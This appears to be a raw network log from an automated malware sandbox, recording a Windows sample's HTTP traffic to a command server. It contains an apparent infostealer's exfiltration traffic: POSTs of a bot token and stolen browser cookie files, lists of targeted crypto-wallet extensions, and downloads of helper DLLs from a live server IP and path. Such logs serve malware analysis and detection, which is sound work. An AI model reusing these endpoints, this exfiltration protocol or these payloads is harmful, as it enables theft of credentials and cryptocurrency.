Dec 8, 2024 15:38:09.803738117 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Dec 8, 2024 15:38:09.803801060 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Dec 8, 2024 15:38:09.803813934 CET	1236	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Dec 8, 2024 15:38:09.812242031 CET	1040	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 31 71 62 57 4e 76 62 32 6c 6d 59 6e Data Ascii: MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20
Dec 8, 2024 15:38:09.813704014 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="message"fplugins------JKECFCFBGDHIECAAFIID--
Dec 8, 2024 15:38:10.282258987 CET	335	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 8, 2024 15:38:10.300561905 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJE Host: 185.215.113.206 Content-Length: 7923 Connection: Keep-Alive Cache-Control: no-cache
Dec 8, 2024 15:38:10.300622940 CET	7923	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4a 4b 4a 44 47 43 47 44 42 47 44 48 49 4a 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 Data Ascii: ------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------AAKJKJDGCGDBGDHIJKJEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 8, 2024 15:38:11.378571033 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 15:38:11.649914026 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 15:38:12.091634989 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 8, 2024 15:38:12.091691017 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 8, 2024 15:38:12.093799114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49742	185.215.113.206	80	3660	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:38:21.418309927 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJ Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GIJEGDAKEHJECAKEGDHJ--
Dec 8, 2024 15:38:23.245446920 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 15:38:23.405081034 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBAFHDGDGHDGCBFCFID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file"------IDBAFHDGDGHDGCBFCFID--
Dec 8, 2024 15:38:24.341332912 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49787	185.215.113.206	80	3660	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:38:35.965437889 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBFBFBKFIDHJKFCAFC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="file"------FCFBFBFBKFIDHJKFCAFC--
Dec 8, 2024 15:38:37.790143013 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 8, 2024 15:38:38.458662033 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 15:38:38.896647930 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 8, 2024 15:38:38.896718025 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO
Dec 8, 2024 15:38:38.896728992 CET	1236	IN	Data Raw: 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 0a 08 00 83 c4 04 31 f6 eb 3c c7 87 Data Ascii: ?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$HD$4r
Dec 8, 2024 15:38:38.896868944 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Dec 8, 2024 15:38:38.896881104 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Dec 8, 2024 15:38:38.896893024 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Dec 8, 2024 15:38:38.896905899 CET	1236	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Dec 8, 2024 15:38:38.896919966 CET	1236	IN	Data Raw: 14 01 00 d3 88 5d e8 0f b6 f3 89 f9 8b 7d f0 8a 1c 37 8b 7d f0 88 1c 07 89 cf 8b 45 f0 88 14 30 00 d3 0f b6 c3 8b 4d 10 8a 51 02 8b 4d f0 32 14 01 8b 4d d4 8b 45 e4 88 50 02 8b 5d dc 8b 45 d0 8b 55 d8 2b 55 cc 89 55 d8 83 c7 04 83 c3 04 8b 55 e0 Data Ascii: ]}7}E0MQM2MEP]EU+UUU9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[f
Dec 8, 2024 15:38:38.896945953 CET	1236	IN	Data Raw: 0f b6 14 02 00 d1 0f b6 d9 8b 7d f0 8a 34 1f 8b 7d f0 88 34 07 8b 45 f0 88 14 18 8b 5d dc 00 d6 0f b6 c6 8b 55 f0 0f b6 04 02 c1 e0 18 09 f0 8b 75 d8 33 45 d4 8b 55 e8 89 04 13 8b 45 e8 83 c6 fc 83 c0 04 89 75 d8 83 fe 03 0f 87 f0 fe ff ff 8b 7d Data Ascii: }4}4E]Uu3EUEu}U}]E]E8u40480u}T20ETEuE14^_[]UM1]U}
Dec 8, 2024 15:38:38.896959066 CET	1236	IN	Data Raw: f3 01 89 9d 60 ff ff ff 8b 9d 74 ff ff ff 8b 53 20 89 95 4c ff ff ff 8b 8d dc fe ff ff 8b 41 10 89 85 ac fe ff ff 89 c6 01 d6 8b 53 24 89 95 1c ff ff ff 8b 41 14 89 85 b0 fe ff ff 89 c7 11 d7 8b 41 30 89 85 d0 fe ff ff 01 c6 89 f3 8b 41 34 89 85 Data Ascii: `tS LAS$AA0A4}qT1QP1kA+]rn<}33Ht{({,]HE]11EuUUu
Dec 8, 2024 15:38:38.904783964 CET	1236	IN	Data Raw: a8 31 c2 89 55 a8 8b 7d 88 31 cf 89 7d 88 8b 45 dc 01 d0 89 45 dc 8b 4d d8 11 f9 89 4d d8 31 c3 31 ce 89 d8 0f a4 f0 08 0f a4 de 08 8b 95 74 ff ff ff 8b 4a 7c 89 8d 50 ff ff ff 8b 7a 78 89 bd 74 ff ff ff 8b 5d d0 01 fb 8b 55 e4 11 ca 01 f3 89 5d Data Ascii: 1U}1}EEMM11tJ\|Pzxt]U]U}1M1xM}}MM11ETMdEMu1uU1EEMM11}`]D
Dec 8, 2024 15:38:40.361700058 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 8, 2024 15:38:40.798932076 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 8, 2024 15:38:41.639792919 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
